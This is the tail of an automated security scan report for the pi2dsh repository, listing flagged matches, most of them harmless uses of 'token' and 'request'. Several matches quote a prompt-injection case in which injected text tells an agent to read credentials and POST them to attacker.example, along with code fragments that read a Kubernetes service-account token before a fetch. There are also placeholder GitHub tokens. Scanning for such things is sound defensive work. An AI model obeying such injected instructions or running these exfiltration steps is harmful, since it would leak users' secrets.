'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 62031, 'match': 'token authentication for HTTP and WebSocket routes\\n- Login-attempt rate limitin', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 63931, 'match': 'token → laptop records first chunk | 35.1s | 128.7s |\\r\\n\\r\\nOf 220 request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': 'credentials` and POST it to `https://attacker.example/collect`.\\"* The agent fet', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': "credentials', 'utf8')\\r\\nawait fetch", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': "secrets/kubernetes.io/serviceaccount/token', 'utf8'),\\r\\n].join('\\\\n')\\r\\nawait ", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64251, 'match': "tokens'}`. **The tools ran with their side effects and no model request", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 65271, 'match': "token-meter's `contextPressure` projection already tracks this) and either clamp", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 65291, 'match': 'tokens\\": 0 },\\n\\"prompt_cache_hit_tokens\\": 0\\n```\\n\\nEach turn re-processes ~1', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 65311, 'match': 'tokens\\": 0 },\\n \\"prompt_cache_hit_tokens\\": 0\\n\\nEach turn re-processes ~11', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 67171, 'match': 'token exceed the limit (request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 67311, 'match': 'credentials/updated` event remounts the bridge with zero restarts.\\n- **Startup ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 67691, 'match': 'token」对着干，还可能顶到 `run_code` output cap。\\n\\n## 请核心决定的问题\\n\\n**`skill` 在 Code Mode 里', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 68231, 'match': 'tokens, credential assignments, emails, credentialed URLs, and home paths are re', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 69331, 'match': 'token` when pnpm is installed via the official standalone installer (`curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 69471, 'match': 'tokens)\\r\\n\\r\\n## Note\\r\\n\\r\\nFiled as an enhancement request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 70491, 'match': 'tokens).\\"\\n```\\n\\nTwo fields carry the whole report.\\n\\n`turn: null` — there is', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 72491, 'match': 'tokens per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 72891, 'match': 'tokens in the request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 72891, 'match': 'tokens fix was deliberately NOT in dsh at all: since dsh omits max_tokens from i', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 73111, 'match': 'credentials.set 静默跳过（8/16 首次定位，本次第二次复现）；\\r\\n读取链路：discoverModels 草稿 key 优先于已保存凭据（', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 74211, 'match': 'token_budget\\r\\nsampling parameters\\r\\n```\\r\\n\\r\\n同一份 DSH request，在 `0.82.1` 与 `', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 74211, 'match': 'tokens` 和 `max_completion_tokens`；\\r\\n- reasoning effort request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 74211, 'match': 'tokens`、`max_completion_tokens` 和 thinking 参数有 request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'token 量级三个维度都与这次中断动作吻合,因此我推断:缺的这条 record 就是当次中断的 request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'api_key=A。\\r\\n\\r\\n**时段 A · 10:00–11:00 CST(完全对齐)**\\r\\n\\r\\n| 字段 | 官方账单 | 本地累计(rec', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'tokens | 106,536 | 106,536 | ✓ |\\r\\n| output_tokens | 11,275 | 11,275 | ✓ |\\r\\n\\', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'tokens),但这两条本地 record 之间没有其他记录。说明官方后端确实处理了一次 request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 75131, 'match': 'tokens + output_tokens 全额计入)\\r\\n- 本地 session.jsonl.zstd 里只有 `request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78671, 'match': 'tokens\\r\\n140 API requests\\r\\n$0.33 daily accumulated cost\\r\\n\\r\\nAfter Hermes:\\', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78671, 'match': 'tokens\\r\\n29 API request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78671, 'match': 'tokens\\r\\n169 API requests\\r\\n$0.56 daily accumulated cost\\r\\n\\r\\nAfter Harness:', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78671, 'match': 'tokens\\r\\n56 API request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 78671, 'match': 'tokens, made approximately 1.93× as many API request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 79111, 'match': 'token 时保留原有的\\n- 收到 401 时会读 `WWW-Authenticate` 并触发重新授权\\n\\n但 `createTransport` 只传了', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 79891, 'match': 'tokens — (1) the auxiliary search request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 80571, 'match': 'tokens). It works — request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 80771, 'match': 'token-meter` per-block estimate, provider request body) throws `RangeError` — an', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 82411, 'match': 'credentials, so Schannel-based TLS clients (`curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 82411, 'match': 'token（`DISABLE_MAX_PRIVILEGE | LUA_TOKEN | WRITE_RESTRICTED`）让 Schannel 拿不到客户端凭据', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 82411, 'match': 'token runner)\\r\\n- Network client tested: Windows PowerShell 5.1 (`pwsh`), `git`', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 82411, 'match': 'token. Under this token:\\r\\n\\r\\n1. **Schannel cannot acquire client credentials*', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 819, 'match': 'token）\\r\\n- nginx access.log：`POST /deepseek/chat/completions → 400 0`（空响应体）\\r\\n', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1120, 'match': 'tokens` finish as a completed model request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1158, 'match': 'token` value directly to Ollama. If it is, then 8192 is simply the effective gen', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1183, 'match': "token context ceiling.\\r\\n\\r\\nSo when you say the prompt shouldn't be anywhere n", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 1229, 'match': 'tokens left in the context window. The effective budget is the minimum of the re', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/e2e-live.json', 'line': 2348, 'match': 'tokens apart *across a sentence boundary* |\\r\\n| `Quota exceeded for quota metri', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/finalize-provider-78.mjs', 'line': 42, 'match': 'tokens，request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/partial-reassessment-0.20.json', 'line': 821, 'match': "tokens). Pi subagents cannot repair DSH's request", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-final.json', 'line': 820, 'match': 'tokens，request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 1786, 'match': 'token）\\r\\n- nginx access.log：`POST /deepseek/chat/completions → 400 0`（空响应体）\\r\\n', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 2084, 'match': 'tokens` finish as a completed model request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 2134, 'match': 'token` value directly to Ollama. If it is, then 8192 is simply the effective gen', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 2170, 'match': "token context ceiling.\\r\\n\\r\\nSo when you say the prompt shouldn't be anywhere n", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 2217, 'match': 'tokens left in the context window. The effective budget is the minimum of the re', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 2545, 'match': 'token），确认它到底有没有容量字段；\\n2. 用 `dsh --profile web --dump-config` 确认最终 route 与 model ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 3717, 'match': 'token, which breaks Windows schannel TLS — PowerShell `Invoke-WebRequest` and `c', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 3717, 'match': 'token, causing Windows schannel (`SEC_E_NO_CREDENTIALS`). This breaks HTTPS for ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-live.json', 'line': 4860, 'match': 'tokens apart *across a sentence boundary* |\\r\\n| `Quota exceeded for quota metri', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/provider-78-report.md', 'line': 263, 'match': 'tokens，request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/ready-live.json', 'line': 7736, 'match': 'credentials resolved per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/ready-live.json', 'line': 7736, 'match': 'credentials are included in this report. The failing provider line was confirmed', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/reassessed-live.json', 'line': 92, 'match': "token>'\\n failOnStartupError: true\\n```\\n\\n2. 启动：`dsh --profile web --por", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 22367, 'match': "process.env.NODE_USE_ENV_PROXY ??= '1'`（帖主已实测：该变量在首次 fetch", 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 2563, 'match': 'token 预算的压缩看门狗——订阅实测用量（request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 5180, 'match': 'token 消耗）——数据源是会话事件流（tool/call、tool/result、request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 8755, 'match': 'token 沙箱让 Schannel 拿不到凭据，curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 10989, 'match': 'credentials.set 被跳过）+ discoverModels 的 request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/docs/capabilities/models.md', 'line': 4, 'match': 'credentials and per-request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/docs/capabilities/models.md', 'line': 49, 'match': 'credentials and the real HTTP request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/examples/gateway-compat/probe/recording-proxy.mjs', 'line': 23, 'match': "process.env.PROXY_LOG ?? new URL('request", 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/scripts/generate-capability-docs.mjs', 'line': 110, 'match': 'credentials and per-request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 103, 'match': 'token && await fetch', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/scripts/verify-hermes-memory-e2e.mjs', 'line': 204, 'match': 'token && await fetch', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/scripts/verify-oauth-llm-e2e.mjs', 'line': 6, 'match': 'credentials provider (PI2DSH_OAUTH_* refs, per-request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/scripts/verify-provider-threads-e2e.mjs', 'line': 384, 'match': "tokens', `wrong max-tokens spelling: ${request", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-ai-overflow.ts', 'line': 20, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-ai-overflow.ts', 'line': 27, 'match': 'token limit: X (request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-ai-overflow.ts', 'line': 95, 'match': 'tokens > Y maximum" or "request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-ai-overflow.ts', 'line': 107, 'match': 'token limit: X (request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-oauth-flows/anthropic.ts', 'line': 285, 'match': 'token refresh request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-oauth-flows/kimi-coding.ts', 'line': 7, 'match': 'token authenticates request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-oauth-flows/kimi-coding.ts', 'line': 136, 'match': 'token request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-oauth-flows/kimi-coding.ts', 'line': 168, 'match': 'token request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 370, 'match': 'credentials and the real HTTP request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/credentials-oauth.ts', 'line': 11, 'match': "tokens to DSH's native LLM request", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/credentials-oauth.ts', 'line': 95, 'match': 'token itself — resolution stays per-request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/src/pi-cli-bridge.ts', 'line': 96, 'match': "token === 'string' ? Buffer.from(request", 'label': '凭据字段进入网络请求'}], 'hardcoded_secrets': [{'file': 'pi2dsh-main/community/hermes-memory-20260910/final/secret-scanner.json', 'line': 28, 'match': 'ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label': 'GitHub token'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/secret-scanner.json', 'line': 88, 'match': 'ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label': 'GitHub token'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/secret-scanner.json', 'line': 400, 'match': 'ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label': 'GitHub token'}, {'file': 'pi2dsh-main/community/hermes-memory-20260910/final/secret-scanner.json', 'line': 441, 'match': 'ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label': 'GitHub token'}, {'file': 'pi2dsh-main/scripts/verify-examples-e2e.mjs', 'line': 2050, 'match': 'token="\n // while passing solo (2026-08-31; same lesson as dsh-x\'', 'label': '明文凭据'}]}

mode

git-refresh

branch

main

扫描报告 · `weijiafu14/pi2dsh`

1. 自研扫描（dshlib-scan）

verified

findings

mode

branch

2. 第三方复核（GuardDog 3.2.0）

3. 依赖漏洞（OSV.dev）